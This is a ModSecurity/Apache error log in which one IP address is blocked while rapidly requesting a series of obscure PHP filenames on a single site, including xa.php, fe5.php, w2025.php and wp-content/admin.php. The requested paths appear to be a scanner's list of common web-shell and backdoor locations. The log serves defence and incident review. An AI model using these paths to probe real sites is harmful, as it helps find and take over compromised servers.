[Thu Apr 16 07:17:36.596258 2026] [:error] [pid 57639:tid 57650] [client 4.231.201.132:8132] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aeAckKMCQoTw7TsxWunWmAAAAMQ"]
[Thu Apr 16 07:17:37.137722 2026] [:error] [pid 57536:tid 57548] [client 4.231.201.132:18157] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aeAckSQU4faGja6jpDuJBwAAAAA"]
[Thu Apr 16 07:17:37.697560 2026] [:error] [pid 57538:tid 57612] [client 4.231.201.132:18119] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aeAckcuMaiEF5SVR2BdHpQAAAIo"]
[Thu Apr 16 07:17:38.201867 2026] [:error] [pid 57537:tid 57592] [client 4.231.201.132:18104] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aeAcklVQRS8nm73ENAk9zAAAAFE"]
[Thu Apr 16 07:17:38.739004 2026] [:error] [pid 57536:tid 57553] [client 4.231.201.132:18068] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aeAckiQU4faGja6jpDuJCwAAAAU"]
[Thu Apr 16 07:17:39.274755 2026] [:error] [pid 57536:tid 57563] [client 4.231.201.132:8164] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aeAckyQU4faGja6jpDuJDAAAAA8"]
[Thu Apr 16 07:17:39.800537 2026] [:error] [pid 49094:tid 49119] [client 4.231.201.132:8086] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aeAckzbDwvcXorHR_MyuZAAAAVc"]
[Thu Apr 16 07:17:40.305928 2026] [:error] [pid 49094:tid 49100] [client 4.231.201.132:18083] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "aeAclDbDwvcXorHR_MyuZgAAAUQ"]
[Thu Apr 16 07:17:40.839680 2026] [:error] [pid 49094:tid 49108] [client 4.231.201.132:8182] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "aeAclDbDwvcXorHR_MyuaQAAAUw"]
[Thu Apr 16 07:17:41.362899 2026] [:error] [pid 57537:tid 57596] [client 4.231.201.132:8098] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "aeAclVVQRS8nm73ENAk9zgAAAFU"]
[Thu Apr 16 07:17:41.899112 2026] [:error] [pid 57639:tid 57657] [client 4.231.201.132:8158] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "aeAclaMCQoTw7TsxWunWmwAAAMs"]
[Thu Apr 16 07:17:42.478176 2026] [:error] [pid 49094:tid 49098] [client 4.231.201.132:8064] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aeAcljbDwvcXorHR_MyubAAAAUI"]
[Thu Apr 16 07:17:43.118175 2026] [:error] [pid 49094:tid 49118] [client 4.231.201.132:8146] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aeAclzbDwvcXorHR_MyubQAAAVY"]
[Thu Apr 16 07:17:43.682523 2026] [:error] [pid 49094:tid 49096] [client 4.231.201.132:18152] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aeAclzbDwvcXorHR_MyubwAAAUA"]
[Thu Apr 16 07:17:44.258913 2026] [:error] [pid 57639:tid 57656] [client 4.231.201.132:8084] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aeAcmKMCQoTw7TsxWunWnQAAAMo"]
[Thu Apr 16 07:17:44.818943 2026] [:error] [pid 49094:tid 49105] [client 4.231.201.132:8069] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "aeAcmDbDwvcXorHR_MyucQAAAUk"]
[Thu Apr 16 07:17:45.361144 2026] [:error] [pid 57639:tid 57668] [client 4.231.201.132:8076] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "aeAcmaMCQoTw7TsxWunWngAAANY"]
[Thu Apr 16 07:17:46.006805 2026] [:error] [pid 49094:tid 49100] [client 4.231.201.132:8188] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "aeAcmjbDwvcXorHR_MyudAAAAUQ"]
[Thu Apr 16 07:17:46.549439 2026] [:error] [pid 29603:tid 29623] [client 4.231.201.132:8073] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "aeAcmlfGOR6fpTWUAzrd8QAAARI"]
[Thu Apr 16 07:17:47.069069 2026] [:error] [pid 29603:tid 29611] [client 4.231.201.132:18107] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sf.php"] [unique_id "aeAcm1fGOR6fpTWUAzrd8gAAAQY"]
[Thu Apr 16 07:17:47.588161 2026] [:error] [pid 29603:tid 29609] [client 4.231.201.132:8143] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sf.php"] [unique_id "aeAcm1fGOR6fpTWUAzrd8wAAAQQ"]
[Thu Apr 16 07:17:48.109012 2026] [:error] [pid 57639:tid 57663] [client 4.231.201.132:18136] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sf.php"] [unique_id "aeAcnKMCQoTw7TsxWunWogAAANE"]
[Thu Apr 16 07:17:48.688506 2026] [:error] [pid 57639:tid 57652] [client 4.231.201.132:8147] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sf.php"] [unique_id "aeAcnKMCQoTw7TsxWunWpAAAAMY"]
[Thu Apr 16 07:17:49.236016 2026] [:error] [pid 29603:tid 29622] [client 4.231.201.132:18071] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no1.php"] [unique_id "aeAcnVfGOR6fpTWUAzrd9QAAARE"]
[Thu Apr 16 07:17:49.773700 2026] [:error] [pid 57536:tid 57560] [client 4.231.201.132:8000] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no1.php"] [unique_id "aeAcnSQU4faGja6jpDuJEwAAAAw"]
[Thu Apr 16 07:17:50.459670 2026] [:error] [pid 49094:tid 49117] [client 4.231.201.132:8127] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no1.php"] [unique_id "aeAcnjbDwvcXorHR_MyudwAAAVU"]
[Thu Apr 16 07:17:51.068756 2026] [:error] [pid 49094:tid 49113] [client 4.231.201.132:8116] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no1.php"] [unique_id "aeAcnzbDwvcXorHR_MyueQAAAVE"]
[Thu Apr 16 07:17:51.663203 2026] [:error] [pid 49094:tid 49098] [client 4.231.201.132:8187] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w2025.php"] [unique_id "aeAcnzbDwvcXorHR_MyuewAAAUI"]
[Thu Apr 16 07:17:52.192703 2026] [:error] [pid 49094:tid 49118] [client 4.231.201.132:18122] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w2025.php"] [unique_id "aeAcoDbDwvcXorHR_MyufAAAAVY"]
[Thu Apr 16 07:17:52.750849 2026] [:error] [pid 49094:tid 49105] [client 4.231.201.132:8085] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w2025.php"] [unique_id "aeAcoDbDwvcXorHR_MyufwAAAUk"]
[Thu Apr 16 07:17:53.296426 2026] [:error] [pid 49094:tid 49099] [client 4.231.201.132:8136] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w2025.php"] [unique_id "aeAcoTbDwvcXorHR_MyugAAAAUM"]
[Thu Apr 16 07:17:53.840143 2026] [:error] [pid 49094:tid 49111] [client 4.231.201.132:18063] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "aeAcoTbDwvcXorHR_MyuggAAAU8"]
[Thu Apr 16 07:17:54.422370 2026] [:error] [pid 49094:tid 49100] [client 4.231.201.132:8176] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "aeAcojbDwvcXorHR_MyuhAAAAUQ"]
[Thu Apr 16 07:17:54.986684 2026] [:error] [pid 49094:tid 49108] [client 4.231.201.132:8156] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "aeAcojbDwvcXorHR_MyuhgAAAUw"]
[Thu Apr 16 07:17:55.514858 2026] [:error] [pid 49094:tid 49110] [client 4.231.201.132:8165] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "aeAcozbDwvcXorHR_MyuiAAAAU4"]
[Thu Apr 16 07:17:57.088054 2026] [:error] [pid 49094:tid 49107] [client 4.231.201.132:8082] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aeAcpTbDwvcXorHR_MyuigAAAUs"]
[Thu Apr 16 07:17:57.646324 2026] [:error] [pid 49094:tid 49105] [client 4.231.201.132:18109] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aeAcpTbDwvcXorHR_MyuiwAAAUk"]
[Thu Apr 16 07:17:58.201788 2026] [:error] [pid 49094:tid 49097] [client 4.231.201.132:8170] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aeAcpjbDwvcXorHR_MyujQAAAUE"]
[Thu Apr 16 07:17:58.734862 2026] [:error] [pid 49094:tid 49119] [client 4.231.201.132:18086] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a2.php"] [unique_id "aeAcpjbDwvcXorHR_MyukgAAAVc"]
[Thu Apr 16 07:17:59.297537 2026] [:error] [pid 49094:tid 49108] [client 4.231.201.132:18164] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeAcpzbDwvcXorHR_MyulgAAAUw"]
[Thu Apr 16 07:17:59.854683 2026] [:error] [pid 57538:tid 57603] [client 4.231.201.132:18124] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeAcp8uMaiEF5SVR2BdHrQAAAIE"]
[Thu Apr 16 07:18:00.355008 2026] [:error] [pid 29603:tid 29621] [client 4.231.201.132:18095] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeAcqFfGOR6fpTWUAzrd-wAAARA"]
[Thu Apr 16 07:18:00.944226 2026] [:error] [pid 29603:tid 29615] [client 4.231.201.132:8168] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aeAcqFfGOR6fpTWUAzrd_QAAAQo"]
[Thu Apr 16 07:18:01.550746 2026] [:error] [pid 57639:tid 57659] [client 4.231.201.132:18156] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aeAcqaMCQoTw7TsxWunWpwAAAM0"]
[Thu Apr 16 07:18:02.127356 2026] [:error] [pid 57538:tid 57608] [client 4.231.201.132:8106] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aeAcqsuMaiEF5SVR2BdHsAAAAIY"]
[Thu Apr 16 07:18:02.645618 2026] [:error] [pid 57639:tid 57665] [client 4.231.201.132:8067] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aeAcqqMCQoTw7TsxWunWqAAAANM"]
[Thu Apr 16 07:18:03.170863 2026] [:error] [pid 57538:tid 57611] [client 4.231.201.132:8009] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aeAcq8uMaiEF5SVR2BdHsgAAAIk"]
[Thu Apr 16 07:18:03.727215 2026] [:error] [pid 57639:tid 57669] [client 4.231.201.132:8134] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeAcq6MCQoTw7TsxWunWqQAAANc"]
[Thu Apr 16 07:18:04.281542 2026] [:error] [pid 49094:tid 49100] [client 4.231.201.132:18113] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeAcrDbDwvcXorHR_MyuoAAAAUQ"]
[Thu Apr 16 07:18:04.799349 2026] [:error] [pid 49094:tid 49106] [client 4.231.201.132:8178] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeAcrDbDwvcXorHR_MyuowAAAUo"]
[Thu Apr 16 07:18:05.473367 2026] [:error] [pid 49094:tid 49118] [client 4.231.201.132:8121] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeAcrTbDwvcXorHR_MyupwAAAVY"]
[Thu Apr 16 07:18:06.033419 2026] [:error] [pid 57537:tid 57591] [client 4.231.201.132:8091] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aeAcrlVQRS8nm73ENAk91QAAAFA"]
[Thu Apr 16 07:18:06.634560 2026] [:error] [pid 57639:tid 57653] [client 4.231.201.132:8010] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aeAcrqMCQoTw7TsxWunWrAAAAMc"]
[Thu Apr 16 07:18:07.190957 2026] [:error] [pid 49094:tid 49101] [client 4.231.201.132:8172] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aeAcrzbDwvcXorHR_MyuqgAAAUU"]
[Thu Apr 16 07:18:07.721751 2026] [:error] [pid 57639:tid 57668] [client 4.231.201.132:8135] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aeAcr6MCQoTw7TsxWunWrgAAANY"]
[Thu Apr 16 07:18:08.247169 2026] [:error] [pid 57538:tid 57621] [client 4.231.201.132:18061] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "aeAcsMuMaiEF5SVR2BdHtgAAAJM"]
